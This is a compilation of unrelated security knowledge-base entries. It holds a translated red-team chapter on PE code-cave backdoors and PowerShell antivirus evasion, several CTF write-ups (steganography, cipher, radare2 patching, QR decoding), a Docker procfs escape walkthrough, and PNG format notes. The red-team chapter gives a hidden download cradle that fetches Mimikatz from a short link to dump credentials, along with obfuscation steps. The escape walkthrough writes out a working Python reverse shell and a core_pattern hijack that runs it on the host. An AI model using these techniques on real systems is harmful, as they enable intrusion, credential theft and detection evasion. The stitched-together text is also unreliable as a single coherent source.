* 利用 INF-SCT 获取并执行绕过、规避查杀和持久化技术:
* https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
* 利用 Regsvr32 绕过 Applocker:
* https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
## 代码洞(Code Caves)
与任何红队行动一样,我们一直在寻找创造性的方式在环境中横向移动或保持持久性。通常,如果我们有凭证,我们会尝试使用 WMI 或 PSExec 在远程系统上执行 payload。有些时候,我们需要找到创造性的方式在环境中移动而不被轻易跟踪。
作为红队队员,被抓住并不是入侵行动中可能发生的最糟糕的事情。最糟糕的事情是当我们被抓住并且蓝队发现了属于该行动的每个域、IP 和受感染的主机。蓝队人员通常很容易就能检测到 WMI、PSexec 的连接特征来判定内网有横向移动,因为它并不总是被视为正常流量。那么我们可以做些什么来隐藏我们的横向移动呢?
这是我们可以发挥创造性的地方,没有标准答案(如果某种方法有效,那对我来说就够好了)。一旦进入一个环境,我最喜欢做的事情之一就是发现公开共享和主动共享/执行的文件。我们可以尝试将宏添加到 Office 文件中,但这似乎太明显了。一种通常不太容易被检测出并且成功率高的攻击是将我们的自定义恶意软件嵌入可执行二进制文件中。这可以是像 putty 这样的共享二进制文件,一个内网环境中常见的胖客户端应用程序,甚至是数据库工具。
虽然不再维护,但执行这些攻击最简单的工具之一是 [Backdoor factory](https://github.com/secretsquirrel/the-backdoor-factory)。Backdoor factory 会在真实程序中查找代码洞或空块,攻击者可以在其中注入自己的恶意 shellcode。上本书中涵盖了这一点,其思路保持不变。
可以在此处找到这两个资源:
* https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves
* https://www.abatchy.com/2017/05/introduction-to-manual-backdooring_24.html
> 译者注:<br>经验证,上两个链接都已经404了。但是译者还是顽强的找到了不同网址同内容的替代资源。<br>对于第一个网址链接的文章,可以在[本地址](https://www.securitynewspaper.com/2017/11/21/fully-undetectable-backdooring-pe-files/)阅读该英文文章来查看 `Code Caves` 这一部分。<br>对于第二篇文章,几乎都404了。但是我找到了此文的出处:[Introduction-To-Manual-Backdooring](https://github.com/abatchy17/Introduction-To-Manual-Backdooring/blob/master/Introduction%20To%20Manual%20Backdooring.pdf) 这本电子书。需要的自取。
## PowerShell 混淆
PowerShell Scripts 当前的问题是,如果你将它们放到磁盘上,很多防病毒工具都会把它们检测出来。即使你将它们导入内存,查看内存的杀毒软件工具有时也会对它们发出警报。
无论如何,如果你从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将它们导入内存,确保我们不会被杀毒软件检测出来是非常重要的。万一被检测出来的话,我们至少应该让应急响应团队或取证团队很难去逆向我们的攻击 payload。
我们都看过像这样的 PowerShell 命令:
```powershell
Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString(‘[PowerShell URL]’); [Parameters]
```
这是我们可能看到的最基本的 powershell 调用指令的字符串组合,可以用于绕过执行策略,来以隐藏窗口的模式(后台运行无弹窗)自动下载和执行 powershell payload。对于蓝队,我们已经看到了很多关于这些特定参数的日志记录,比如 `-Exec Bypass`。因此,我们开始通过一些常见的 PowerShell 语法来混淆此参数:
* -ExecutionPolicy Bypass
* -EP Bypass
* -Exec Bypass
* -Execution Bypass
感谢 Daniel Bohannon 的提醒!他提醒说:更疯狂的是,我们实际上不需要打出完整的参数字符串就能使它工作。例如,对于 `-ExecutionPolicy Bypass`,所有下列示例都可以生效:
* -ExecutionPolicy Bypass
* -ExecutionPol Bypass
* -Executio Bypass
* -Exec Bypass
* -Ex Bypass
这些技术也同样适用于 `WindowStyle` 甚至 `EncodedCommand` 参数。当然,这些技巧不足以支撑我们走得更远,我们还需要创建更多的混淆变换。首先,我们可以使用一个非常简单的示例来执行我们的远程 PowerShell 脚本(在本例中为 Mimikatz)并使用以管理员身份运行的 PowerShell 提示符来转储哈希值:
* Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds
> 译者注:
> 1. `WindowStyle` 和 `EncodedCommand` 是 PowerShell.exe 的选项参数。`WindowStyle` 可以改变 CMD 窗口的风格,将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden。`EncodedCommand` 是接受 base-64 编码字符串版本的命令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的命令。欲知更多参数,可以在 Windows Powershell 里面使用 `powershell -help` 命令查看。
> 2. `Invoke-Expression` 能将任何的字符串当作PowerShell脚本来执行。以下附上关于 `Invoke-Expression` 的更多参考资料:
> - [Invoke-Expression](https://forsenergy.com/zh-cn/windowspowershellhelp/html/04b8e90a-7d28-4ab2-ad13-b0316c231c77.htm)
> - [Invoke-Expression 帮助信息](https://blog.csdn.net/PowerShell/article/details/1857793)
通过 `Invoke-Obfuscation` 混淆框架,我们可以使用以下几种不同的技术对这个字符串进行深度混淆:
* 在 Windows 上,下载用于 Invoke-Obfuscation 的 PowerShell 文件( https://github.com/danielbohannon/Invoke-Obfuscation )
* 加载 PowerShell 脚本并启动 Invoke-Obfuscation
* Import-Module ./Invoke-Obfuscation.psd1
* Invoke-Obfuscation
* 设置要混淆的 PowerShell 脚本。在这个例子中,我们将混淆上面的 Mimikatz 哈希值下载转储脚本
* SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds
* 对 payload 进行编码
* ENCODING
* 在这个例子中,我选择了 SecureString(AES),但你可以把所有这些混淆技术都试一试。

混淆后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在管理员权限下运行 PowerShell,我们仍然可以执行完整的 payload。

我们也可以回到主屏幕并创建混淆的 launcher:
* main
* launcher
* CLIP++
* 选择你的执行 flag

更棒的是,查看 Windows PowerShell 日志我们会发现,如果脚本是混淆的,日志中也仅仅是记录了混淆后的东西。这个特性可以帮助我们躲避杀毒软件和 SEIM 警报工具。

除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 [Invoke-CradleCrafter](https://github.com/danielbohannon/Invoke-CradleCrafter) 的工具,该工具专注于远程下载 cradle,是一个 PowerShell 2.0+ 版本兼容的 PowerShell 远程下载 cradle 生成器和混淆器。Invoke-CradleCrafter 的 github README 文档中介绍说,“Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载 cradle。此外,它可以帮助蓝队测试环境检测的有效性。Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出,但是在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼接、编码、复选标记、类型转换等”。
> 译者注: 什么是 **cradle**?<br>
> 一个 `download cradle`(下载 cradle)是一个用于下载和代码执行的单行命令。通常可以在 maldoc 或 exploit 的末尾看到,执行攻击生命周期中第二阶段的exploit/infection 下载。在某些情况下,比如攻击者运行无文件时,一个下载 cradle 也可以是其他攻击阶段的持久性机制、工具或执行的一部分。<br>
> 参考资料:[Powershell Download Cradles](https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html)
## 不使用 PowerShell.exe 执行 PowerShell 脚本
你最终在一个目标机器上找到了远程代码执行漏洞,但是你发现无法运行 PowerShell.exe 或该公司正在监视 PowerShell.exe 的命令。有哪些选项可以让你的 PowerShell payload 或 C2 代理在该主机系统上运行?
**NoPowerShell(NPS)**
我喜欢 NoPowerShell 或 NPS 的概念。NPS 是一个 Windows 二进制文件,它通过 .Net 执行 PowerShell 脚本,而不是直接调用 PowerShell.exe。虽然现在杀毒软件通常会标记这一点,但我们可以使用相同的概念来创建二进制文件,以直接执行我们的 PowerShell 恶意软件而无需 PowerShell.exe。Ben0xA 已经为你提供了源代码 ,因此请随意尝试对二进制文件进行混淆处理以解决杀毒软件的绕过问题。
NPS_Payload( https://github.com/trustedsec/nps_payload )
对 NPS 的另一种实施思路是 TrustedSec 的一个工具,通过 MSBuild.exe 执行代码。此工具将生成 PowerShell payload 到一个 msbuild_nps.xml 文件中,该文件在调用时执行。此 XML 文件可以通过以下方式调用:
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\\<path_to_msbuild_nps.xml>
**SharpPick**
SharpPick 是 PowerPick 的一个组件,它是一个很棒的工具,允许你在不调用 PowerShell.exe 二进制文件的情况下调用 PowerShell。在 SharpPick 中,“ RunPS 函数调用 System.Management.Automation 函数在 PowerShell 运行空间内执行脚本,而无需启动 PowerShell 进程。” [ http://www.sixdub.net/?p=555 ]
下载 [SharpPick](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 后,你可以使用你的 PowerShell Empire payload 并创建二进制文件。有关如何设置环境和构建 payload 的完整演练,请访问:
* http://www.sixdub.net/?p=555
* https://bneg.io/2017/07/26/empire-without-powershell-exe/
有时我们可能没办法在主机系统上放一个二进制文件。在这种情况下,我们可以创建一个类库(DLL 文件),将其放到主机系统上并使用 `rundll32.exe runmalicious.dll,EntryPoint` 执行。
当然,这些 DLL 文件的创建可以由 Meterpreter 或 Cobalt Strike 自动完成,但是好在我们可以灵活地运行特定的 PowerShell payload,而无需调用 PowerShell.exe。
> `译者注` 译者找到的额外参考资料:
> 1. 关于 rundll32.exe 的文章:[利用 rundll32.exe 运行 dll 绕过杀毒软件](http://www.weblcx.com/100.html)
> 2. 关于不使用 PowerShell.exe 执行 PowerShell 脚本的文章:[PowerShell: Malwares use it without powershell.exe](https://safe-cyberdefense.com/malware-can-use-powershell-without-powershell-exe/)
## HideMyPS
[HideMyPS](https://github.com/cheetz/hidemyps) 是一个我几年前写的工具,至今它仍然广受好评。它一直都只是个 POC 工具,但即使经过这么多年它仍然有效。我遇到的问题是,现在任何 PowerShell 脚本都会被杀毒软件检测。例如,如果我们在带有 Windows Defender 的 Windows 系统上丢下了原生的 [Invoke-Mimikatz.ps1](http://bit.ly/2H3CNXS),微软杀毒软件将立即启用查杀功能捕获 PowerShell 脚本并发送警告。这是传统杀毒软件的主要缺陷之一,事实是它们通常在恶意软件中寻找非常特定的字符串。因此,我整理了一个小的 Python 脚本,该脚本采用 PowerShell 脚本并对所有字符串进行混淆处理(仅使用少量脚本对其进行测试,因此它远不及生产代码)。
HideMyPS 将找到所有函数并使用 ROT 对它们进行混淆处理,从 PowerShell 脚本中删除所有注释,并切分字符串以躲避杀毒软件的静态签名分析检测。对于下一个例子,让我们使用 [Invoke_Mimikatz.ps1](http://bit.ly/2H3CNXS) 并对其进行混淆:
* cd /opt/HideMyPS
* python hidemyps.py invoke_mimikatz.ps1 [filename.ps1]

现在,看看原始文件和你创建的新文件之间的区别。首先,你可以看到函数名称全部混淆,变量已经被改,字符串被分解为两半,并且所有注释都移除了。

你必须记住的一件事是我们更改了 PowerShell 脚本中的所有函数名称。因此,为了调用函数,我们将不得不回顾我们的混淆文件,看看我们做了什么来替换 `Invoke-Mimikatz` 函数。在这个例子中,`Invoke-Mimikatz` 改名为 `Vaibxr-Zvzvxngm`。以下示例是在完全修补的 Windows 10 上运行的,其中 Windows Defender 已经更新到最新版本。

## 本章总结
作为红队成员或渗透测试工程师,我们总是在与主机/网络检测工具玩猫捉老鼠的游戏。这就是为什么理解潜在保护体系的工作机制、编写底层代码以直接与 Windows API 而不是 shell 命令进行交互,以及跳出框框进行创造性思考这些能力是非常重要的。如果你的关注点仅限于一些常用工具,那么你的入侵行动有很大的概率会在企业环境中被检测到。如果这些工具是公开的,那么安全厂商很可能会在它们刚出现时候就对其进行逆向并且为它们开发签名。你可以利用当前已有的攻击工具并以某种方式对其进行定制化二次开发,使其不能被这些安全厂商识别。
|
sec-knowleage
|
# What Lies Within
Forensics, 150 points
## Description:
> Theres something in the building. Can you retrieve the flag?
An image was attached.
## Solution:
This challenge is similar to last year's [Reading Between the Eyes](/2018_picoCTF/Reading%20Between%20the%20Eyes.md).
The flag was hidden using LSB encoding, and could be revealed using `zsteg`.
```console
root@kali:/media/sf_CTFs/pico/What_Lies_Within# zsteg buildings.png
b1,r,lsb,xy .. text: "^5>R5YZrG"
b1,rgb,lsb,xy .. text: "picoCTF{h1d1ng_1n_th3_b1t5}"
b1,abgr,msb,xy .. file: PGP\011Secret Sub-key -
b2,b,lsb,xy .. text: "XuH}p#8Iy="
b3,abgr,msb,xy .. text: "t@Wp-_tH_v\r"
b4,r,lsb,xy .. text: "fdD\"\"\"\" "
b4,r,msb,xy .. text: "%Q#gpSv0c05"
b4,g,lsb,xy .. text: "fDfffDD\"\""
b4,g,msb,xy .. text: "f\"fff\"\"DD"
b4,b,lsb,xy .. text: "\"$BDDDDf"
b4,b,msb,xy .. text: "wwBDDDfUU53w"
b4,rgb,msb,xy .. text: "dUcv%F#A`"
b4,bgr,msb,xy .. text: " V\"c7Ga4"
b4,abgr,msb,xy .. text: "gOC_$_@o"
```
|
sec-knowleage
|
## Start SECCON CTF (Exercise, 50p)
ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}
quiz
Cipher:A}FFDNEVPFSGV}KZPN}GO
Plain: ?????????????????????
###PL
[ENG](#eng-version)
Bardzo proste rozgrzewkowe zadanie. Szyfr który widać że jeden wejścia zawsze odpowiada takiemu samemu znaku wyjścia.
Flaga:
SECCON{HACKTHEPLANET}
Rozwiązanie - zdekodowaliśmy ciphertext po prostu ręcznie.
### ENG version
Very easy exercise. It's obvious that in given cipher each ciphertext character is always decoded to the same character.
Flag:
SECCON{HACKTHEPLANET}
Solution - we just did the decoding by hand.
|
sec-knowleage
|
# be-quick-or-be-dead-1
Reversing, 200 points
## Description:
> You find [this](https://www.youtube.com/watch?v=CTt1vk9nM9c) when searching for some music, which leads you to **be-quick-or-be-dead-1**. Can you run it fast enough?
Attached was a binary file.
## Solution:
Let's run the file:
```console
root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-1/v2# ./be-quick-or-be-dead-1 Be Quick Or Be Dead 1
=====================
Calculating key...
You need a faster machine. Bye bye.
```
Time to analyze the program. We'll use Radare2.
```console
r2 be-quick-or-be-dead-1
```
Analyze the binary with `aa` and list the functions with `afl`:
```
[0x004005a0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x004005a0]> afl
0x004004e8 3 26 sym._init
0x00400520 1 6 sym.imp.putchar
0x00400530 1 6 sym.imp.puts
0x00400540 1 6 sym.imp.printf
0x00400550 1 6 sym.imp.alarm
0x00400560 1 6 sym.imp.__libc_start_main
0x00400570 1 6 sym.imp.__sysv_signal
0x00400580 1 6 sym.imp.exit
0x00400590 1 6 fcn.00400590
0x004005a0 1 41 entry0
0x004005d0 4 50 -> 41 sym.deregister_tm_clones
0x00400610 4 58 -> 55 sym.register_tm_clones
0x00400650 3 28 sym.__do_global_dtors_aux
0x00400670 4 38 -> 35 entry1.init
0x00400696 6 112 sym.decrypt_flag
0x00400706 3 29 sym.calculate_key
0x00400723 1 31 sym.alarm_handler
0x00400742 3 84 sym.set_timer
0x00400796 1 43 sym.get_key
0x004007c1 1 40 sym.print_flag
0x004007e9 4 62 sym.header
0x00400827 1 62 sym.main
0x00400870 4 101 sym.__libc_csu_init
0x004008e0 1 2 sym.__libc_csu_fini
0x004008e4 1 9 sym._fini
```
Let's take a look at the `main` function:
```assembly
[0x004005a0]> VV @ sym.main
.---------------------------------------------------.
| 0x400827 |
| ;-- main: |
| (fcn) sym.main 62 |
| sym.main (int argc, char **argv, char **envp); |
| ; var int local_10h @ rbp-0x10 |
| ; var int local_4h @ rbp-0x4 |
| ; arg int argc @ rdi |
| ; arg char **argv @ rsi |
| ; DATA XREF from entry0 (0x4005bd) |
| push rbp |
| mov rbp, rsp |
| sub rsp, 0x10 |
| ; argc |
| mov dword [local_4h], edi |
| ; argv |
| mov qword [local_10h], rsi |
| mov eax, 0 |
| call sym.header;[ga] |
| mov eax, 0 |
| call sym.set_timer;[gb] |
| mov eax, 0 |
| call sym.get_key;[gc] |
| mov eax, 0 |
| call sym.print_flag;[gd] |
| mov eax, 0 |
| leave |
| ret |
`---------------------------------------------------'
```
It sets a timer, gets the key and prints the flag.
What is this timer?
```assembly
[0x00400742]> VV @ sym.set_timer
.-------------------------------------------------.
| 0x400742 |
| (fcn) sym.set_timer 84 |
| sym.set_timer (); |
| ; var int local_ch @ rbp-0xc |
| ; var int local_8h @ rbp-0x8 |
| ; CALL XREF from sym.main (0x400845) |
| push rbp |
| mov rbp, rsp |
| sub rsp, 0x10 |
| mov dword [local_ch], 1 |
| ; 0x400723 |
| mov esi, sym.alarm_handler |
| ; 14 |
| mov edi, 0xe |
| call sym.imp.__sysv_signal;[ga] |
| mov qword [local_8h], rax |
| cmp qword [local_8h], 0xffffffffffffffff |
| jne 0x400789;[gb] |
`-------------------------------------------------'
f t
| |
| '-----------------------------------------.
.---------------------------------------------------------------------------' |
| |
.-------------------------------------------------------------------------------------------------------------------. .---------------------------------.
| 0x40076b | | 0x400789 |
| ; ';' | | mov eax, dword [local_ch] |
| ; 59 | | mov edi, eax |
| mov esi, 0x3b | | call sym.imp.alarm;[ge] |
| ; 0x400928 | | nop |
| ; "\n\nSomething went terribly wrong. \nPlease contact the admins with \"be-quick-or-be-dead-1.c:%d\".\n" | | leave |
| mov edi, str.Something_went_terribly_wrong.___Please_contact_the_admins_with__be_quick_or_be_dead_1.c:_d_. | | ret |
| mov eax, 0 | `---------------------------------'
| ; int printf(const char *format) |
| call sym.imp.printf;[gc] |
| mov edi, 0 |
| ; void exit(int status) |
| call sym.imp.exit;[gd] |
`-------------------------------------------------------------------------------------------------------------------'
```
After 1 second (`mov dword [local_ch], 1 `), the alarm handler will be triggered and terminate the program.
So, the first thing that jumps to mind, even before analyzing the rest of the program, is to just nop-out the `set_timer` call.
We move to "write mode" with `oo+` and patch with `wa`:
```
[0x00400742]> s sym.main
[0x00400827]> pdf
;-- main:
/ (fcn) sym.main 62
| sym.main (int argc, char **argv, char **envp);
| ; var int local_10h @ rbp-0x10
| ; var int local_4h @ rbp-0x4
| ; arg int argc @ rdi
| ; arg char **argv @ rsi
| ; DATA XREF from entry0 (0x4005bd)
| 0x00400827 55 push rbp
| 0x00400828 4889e5 mov rbp, rsp
| 0x0040082b 4883ec10 sub rsp, 0x10
| 0x0040082f 897dfc mov dword [local_4h], edi ; argc
| 0x00400832 488975f0 mov qword [local_10h], rsi ; argv
| 0x00400836 b800000000 mov eax, 0
| 0x0040083b e8a9ffffff call sym.header
| 0x00400840 b800000000 mov eax, 0
| 0x00400845 e8f8feffff call sym.set_timer
| 0x0040084a b800000000 mov eax, 0
| 0x0040084f e842ffffff call sym.get_key
| 0x00400854 b800000000 mov eax, 0
| 0x00400859 e863ffffff call sym.print_flag
| 0x0040085e b800000000 mov eax, 0
| 0x00400863 c9 leave
\ 0x00400864 c3 ret
[0x00400827]> oo+
[0x00400827]> s 0x00400845
[0x00400845]> "wa nop;nop;nop;nop;nop"
Written 5 byte(s) (nop;nop;nop;nop;nop) = wx 9090909090
```
Now if we run the program, we get:
```console
root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-1/v2# ./be-quick-or-be-dead-1
Be Quick Or Be Dead 1
=====================
Calculating key...
Done calculating key
Printing flag:
picoCTF{why_bother_doing_unnecessary_computation_d0c6aace}
```
However, it still takes some time.
Let's inspect the `get_key` function:
```
root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-1/v2# r2 be-quick-or-be-dead-1
-- Use rarun2 to launch your programs with a predefined environment.
[0x004005a0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x004005a0]> afl
0x004004e8 3 26 sym._init
0x00400520 1 6 sym.imp.putchar
0x00400530 1 6 sym.imp.puts
0x00400540 1 6 sym.imp.printf
0x00400550 1 6 sym.imp.alarm
0x00400560 1 6 sym.imp.__libc_start_main
0x00400570 1 6 sym.imp.__sysv_signal
0x00400580 1 6 sym.imp.exit
0x00400590 1 6 fcn.00400590
0x004005a0 1 41 entry0
0x004005d0 4 50 -> 41 sym.deregister_tm_clones
0x00400610 4 58 -> 55 sym.register_tm_clones
0x00400650 3 28 sym.__do_global_dtors_aux
0x00400670 4 38 -> 35 entry1.init
0x00400696 6 112 sym.decrypt_flag
0x00400706 3 29 sym.calculate_key
0x00400723 1 31 sym.alarm_handler
0x00400742 3 84 sym.set_timer
0x00400796 1 43 sym.get_key
0x004007c1 1 40 sym.print_flag
0x004007e9 4 62 sym.header
0x00400827 1 62 sym.main
0x00400870 4 101 sym.__libc_csu_init
0x004008e0 1 2 sym.__libc_csu_fini
0x004008e4 1 9 sym._fini
[0x004005a0]> s sym.get_key
[0x00400796]> pdf
/ (fcn) sym.get_key 43
| sym.get_key ();
| ; CALL XREF from sym.main (0x40084f)
| 0x00400796 55 push rbp
| 0x00400797 4889e5 mov rbp, rsp
| 0x0040079a bf88094000 mov edi, str.Calculating_key... ; 0x400988 ; "Calculating key..."
| 0x0040079f e88cfdffff call sym.imp.puts ; int puts(const char *s)
| 0x004007a4 b800000000 mov eax, 0
| 0x004007a9 e858ffffff call sym.calculate_key
| 0x004007ae 89050c092000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0
| 0x004007b4 bf9b094000 mov edi, str.Done_calculating_key ; 0x40099b ; "Done calculating key"
| 0x004007b9 e872fdffff call sym.imp.puts ; int puts(const char *s)
| 0x004007be 90 nop
| 0x004007bf 5d pop rbp
\ 0x004007c0 c3 ret
[0x00400796]> s sym.calculate_key
[0x00400706]> pdf
/ (fcn) sym.calculate_key 29
| sym.calculate_key ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from sym.get_key (0x4007a9)
| 0x00400706 55 push rbp
| 0x00400707 4889e5 mov rbp, rsp
| 0x0040070a c745fc1191fe. mov dword [local_4h], 0x72fe9111
| .-> 0x00400711 8345fc01 add dword [local_4h], 1
| : 0x00400715 817dfc2222fd. cmp dword [local_4h], 0xe5fd2222 ; [0xe5fd2222:4]=-1
| `=< 0x0040071c 75f3 jne 0x400711
| 0x0040071e 8b45fc mov eax, dword [local_4h]
| 0x00400721 5d pop rbp
\ 0x00400722 c3 ret
[0x00400706]> oo+
[0x00400706]> s 0x0040070a
[0x0040070a]> wa mov dword [rbp-0x4], 0xe5fd2221
Written 7 byte(s) (mov dword [rbp-0x4], 0xe5fd2221) = wx c745fc2122fde5
[0x0040070a]> q
```
`get_key` calls `calculate_key`, which simply loops from 0x72fe9111 to 0xe5fd2222 and returns 0xe5fd2222 as the key.
So, in order to save time, we modify it to loop from 0xe5fd2221 to 0xe5fd2222.
Note that in order for the `wa` command to work, we must substitute `local_4h` with `rbp-0x4` (we can see the translation at the beginning of the function).
Now, when we run the program, we immediately get the flag.
---
Note: For some reason, I had a lot of trouble patching with Radare2, since in many cases moving to "write mode" caused the session to get corrupted. I had to use `pd 1` to show the current disassembly and make sure the no corruption has occurred, and if it has, reload again with `oo` and `oo+`. Perhaps I am missing something about usage, but I couldn't find any hint online.
```
[0x004005a0]> s sym.calculate_key
[0x00400706]> oo+
[0x00400706]> pd 1
/ (fcn) sym.calculate_key 29
| sym.calculate_key ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from sym.get_key (0x4007a9)
| 0x00400706 55 push rbp
[0x00400706]> s 0x0040070a
[0x0040070a]> pd 1
| 0x0040070a ff invalid
[0x0040070a]> oo
[0x0040070a]> pd 1
| 0x0040070a c745fc2122fd. mov dword [local_4h], 0xe5fd2221
[0x0040070a]> oo+
[0x0040070a]> pd 1
| 0x0040070a c745fc2122fd. mov dword [local_4h], 0xe5fd2221
```
---
The flag is: picoCTF{why_bother_doing_unnecessary_computation_d0c6aace}
|
sec-knowleage
|
# QvR Code
Forensics, 150 points
## Description:
> This is now a STEAM focused competition. Check out our new patented Quade van Ravesteyn (QvR) code. QvR beats similar codes by marginally increasing storage capacity. And it’s prettier to look at. Each encoding is like its own masterpiece.

## Solution:
Assuming that we are staring at what should be a QR code, the question is how to translate the code to data which can be read by standard QR code readers.
A quick Python script revealed that there are eight distinct colors in the image (including black and white):
```python
img = Image.open('QvR.png')
width, height = img.size
colors = set()
for w in range(width):
for h in range(height):
colors.add(img.getpixel((w, h)))
print("Found {} colors".format(len(colors)))
```
So my initial thought was to create a separate QR code from each of the colors and try to decode that. However that did not produce any result.
Another attempt was to keep any original black pixels in addition to the method above, in order to preserve the reference points in the corners. This did not work either.
Finally, the method that worked was to map some of the colors to "white" and some to "black" and try to decode the message.
The following script does this by brute-forcing all the possibilities:
```python
import itertools
from PIL import Image
from pyzbar.pyzbar import decode
img = Image.open('QvR.png')
width, height = img.size
BLACK = (0, 0, 0, 255)
WHITE = (255, 255, 255, 255)
colors = set()
for w in range(width):
for h in range(height):
p = img.getpixel((w, h))
colors.add(p)
print("Found {} colors".format(len(colors)))
print ("=" * 20)
color_list = list(colors)
for color_mapping in itertools.product([BLACK, WHITE], repeat=len(color_list)):
new_img = Image.open('QvR.png')
for w in range(width):
for h in range(height):
p = img.getpixel((w, h))
new_img.putpixel((w, h), color_mapping[color_list.index(p)])
decoded = decode(new_img)
if len(decoded) > 0:
print (decoded[0].data)
print ("=" * 20)
```
It identifies three different texts encoded in three different mappings:
```console
root@kali:/media/sf_CTFs/mitre/QvR# python solve.py
Found 8 colors
====================
And now it's A. Flag is impossible_color_theory Art: Art art art art art art art art. <- art. It can be anything. But specifically it's Dirck de Quade van Ravesteyn. This is the namesake artist of the QvR code. This artist was chosen because his name is similar to existing barcodes. Art also makes an appearance because of the RYB color theory. de Quade would have used this color theory in his works as he predated Newton, an organism who discovered that cyan, yellow, and magenta provide the largest color gamut. Finally, M: Mathematics: BORING!
====================
We wanted to incorporate Science Technology Engineering Art and Mathematics (STEAM). Enclose with MCA{} for final flag. So we needed to cover each letter. Let's start with S. Science: Science is the intellectual and practical activity encompassing the systematic study of the structure and behavior of the physical and natural world through observation and experiment. We incorporated science by allowing competitors to explore scientific concepts about the world such as color theory. Competitors also have to experiment to get the correct answer through observation.
====================
Now we are going to explore T. Technology: Competitors need to use the Internet to compete. What an amazing Technology. The internet was invented by Al Gore. Anyway, technology enables the encoding of the data, decoding of the data, and critical error correction algorithms present in the code. Prepend salt_ and append _pepper to flag. The next letter is E. Engineering: Competitors need to reverse-engineer a solution to decode the QvR code because the specification isn't published. As a discipline, engineering incorporates science and technology.
====================
```
The text provides instructions to construct the flag:
* Flag is impossible_color_theory.
* Prepend salt_ and append _pepper to flag.
* Enclose with MCA{} for final flag.
|
sec-knowleage
|
---
title: 挂载宿主机 procfs 逃逸
---
<center><h1>挂载宿主机 procfs 逃逸</h1></center>
---
## 前言
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
Docker默认情况下不会为容器开启 User Namespace
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。
## 搭建
创建一个容器并挂载 /proc 目录
```bash
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
```
## 检测
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
```bash
find / -name core_pattern
```
<img width="700" src="/img/1650013377.png">
## 复现
找到当前容器在宿主机下的绝对路径
```bash
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
```
<img width="1400" src="/img/1650013469.png">
这就表示当前绝对路径为
```bash
/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged
```
安装 vim 和 gcc
```bash
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
```
创建一个反弹 Shell 的 py 脚本
```python
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
```
给 Shell 赋予执行权限
```bash
chmod 777 .t.py
```
写入反弹 shell 到目标的 proc 目录下
```bash
echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
```
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
```c++
vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t
```
<img width="1200" src="/img/1650013515.png">
> 参考资料:https://xz.aliyun.com/t/8558
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
### PNG文件格式
对于一个 PNG 文件来说,其文件头总是由位固定的字节来描述的,剩余的部分由 3 个以上的 PNG 的数据块(Chunk)按照特定的顺序组成。
文件头 `89 50 4E 47 0D 0A 1A 0A` + 数据块 + 数据块 + 数据块……
### PNG数据块CHUNk介绍
PNG 定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了 4 个标准数据块,每个 PNG 文件都必须包含它们,PNG 读写软件也都必须要支持这些数据块。
